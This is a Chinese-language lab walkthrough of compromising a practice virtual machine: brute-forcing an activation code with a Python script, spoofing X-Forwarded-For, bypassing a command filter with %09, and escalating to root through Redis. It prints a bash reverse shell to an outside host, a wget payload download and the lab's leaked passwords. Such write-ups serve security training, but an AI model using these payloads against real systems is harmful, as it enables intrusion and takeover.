简介
个人感觉靶机设计还不错,通过注册账户,枚举激活码,然后在网页源码中发现密码Hash值,通过解密后的明文登录系统后利用命令执行绕过漏洞获取shell,最后利用Redis服务提升至root权限。
信息收集
使用nmap --min-rate 10000 -A 192.168.58.134 --script=vuln
扫描目标主机发现开启22和80端口,80端口web服务存在admin、inc、lib目录和login.php文件,如图:
访问80端口如图:
访问login.php文件为登录页面,如图:
查看admin目录,如图:
查看inc目录,如图:
查看lib目录,如图:
查看manual目录,如图:
扫描网站目录发现新的文件,如图
访问activate.php时为用户激活页面,如图:
访问registration.php时为注册页面,如图:
注册账号发现可注册admin用户,但是需要激活,如图:
激活账号需要提供USER ID和6位数的激活码,点击admin——>My Profile之后页面跳转到profile.php?u=16,USER ID为16,如图:
漏洞发现
激活码可枚举
访问activate.php,输入User ID和任意激活码,然后抓包准备枚举激活码,如图:
调高线程开始泡茶打游戏,如图:
但是枚举完所有激活码都未能激活,再次抓包分析发现每次token都会变化,尝试编写脚本进行枚举:
#!/usr/bin/python3
import requests
from bs4 import BeautifulSoup
import queue
url='http://192.168.58.134/activate.php'
uid=16
s=requests.session()
q=queue.Queue()
for c1 in range(10):
for c2 in range(10):
for c3 in range(10):
for c4 in range(10):
for c5 in range(10):
for c6 in range(10):
q.put(str(c1)+str(c2)+str(c3)+str(c4)+str(c5)+str(c6))
for i in range(1000000):
ac=q.get()
print(ac)
html=s.get(url).text
soup=BeautifulSoup(html,"html.parser")
token=soup.find_all('input',attrs={'name':'token'})[0].attrs['value']
data={'userid':uid,'activation_code':ac,'token':token}
r=s.post(url,data=data)
if r.status_code != 403:
print("激活成功!")
break
然后跑脚本,泡茶打游戏,一段时间后激活成功,如图:
再次登录后没有提示激活的信息,如图:
在User List发现一个橙色角色,如图:
角色为管理员,如图:
源码信息泄露
在源码中发现密码Hash值,如图:
解密一波获得密码明文,如图:
然后登录,使用9emin1无法登录成功,然后回头看User List发现在9emin1上方还有蓝色小字:Gemini,使用该用户成功登录,如图:
点击Admin Panel下的两个按钮后页面空白,如图:
抓包查看发现IP不允许,如图:
加入X-Forwarded-For头后访问成功,如图:
在Execute Command页面可执行命令,但执行命令无回显,且加参数后被拦截,如图:
枚举被拦截的字符,发现cat、ncat和空格等被拦截,如图:
命令执行绕过
使用%0d
和%0a
可绕过拦截,但是无法执行成功,使用%09
时可成功执行命令,如图:
漏洞利用
编写反弹shell的bash脚本,如下:
#!/bin/bash
bash -i >&/dev/tcp/192.168.58.129/4444 0>&1
然后将文件上传到目标主机,由于Curl命令不存在,使用wget%09%2dO%09/tmp/reverse%09http://192.168.58.129:8888/reverse
下载,然后执行,如图:
成功获得普通用户权限,如图:
权限提升
查看web目录下的文件在inc/settings.php发现数据库密码:s3cr3tp2ssw0rd1337
,如图:
查看/etc/passwd发现只有当前这一个普通用户,尝试使用sudo提权失败,查看内核版本为4.9.0,搜索几个提权漏洞然而都未成功。直接上提权辅助脚本,未找到可利用的SUID文件和SGID文件,但发现进程中以root权限运行的redis,如图:
Redis提权
尝试使用redis未授权登录,连接之后无法获取信息,也无法用exit命令退出,如图:
强制退出后无法在利用命令执行来获得shell,只好重启靶机再次获得shell,然后利用ssh-keygen生成公钥并上传到靶机~/.ssh目录下重命名为authorized_keys,然后使用id_rsa登录靶机,获得稳定shell,然后连接redis,如图:
需要认证,然后在/etc/redis/目录下找到配置文件6379.conf,查看配置文件找到密码8a7b86a2cd89d96dfcc125ebcc0535e6
,如图:
使用密码登录redis,如图:
然后写入ssh认证密钥文件,但是无法利用私钥文件远程登录,只好将私钥文件上传到目标主机,在目标主机进行登录,如图:
总结
偶然完成了两年前未完成的靶机,感觉还不错。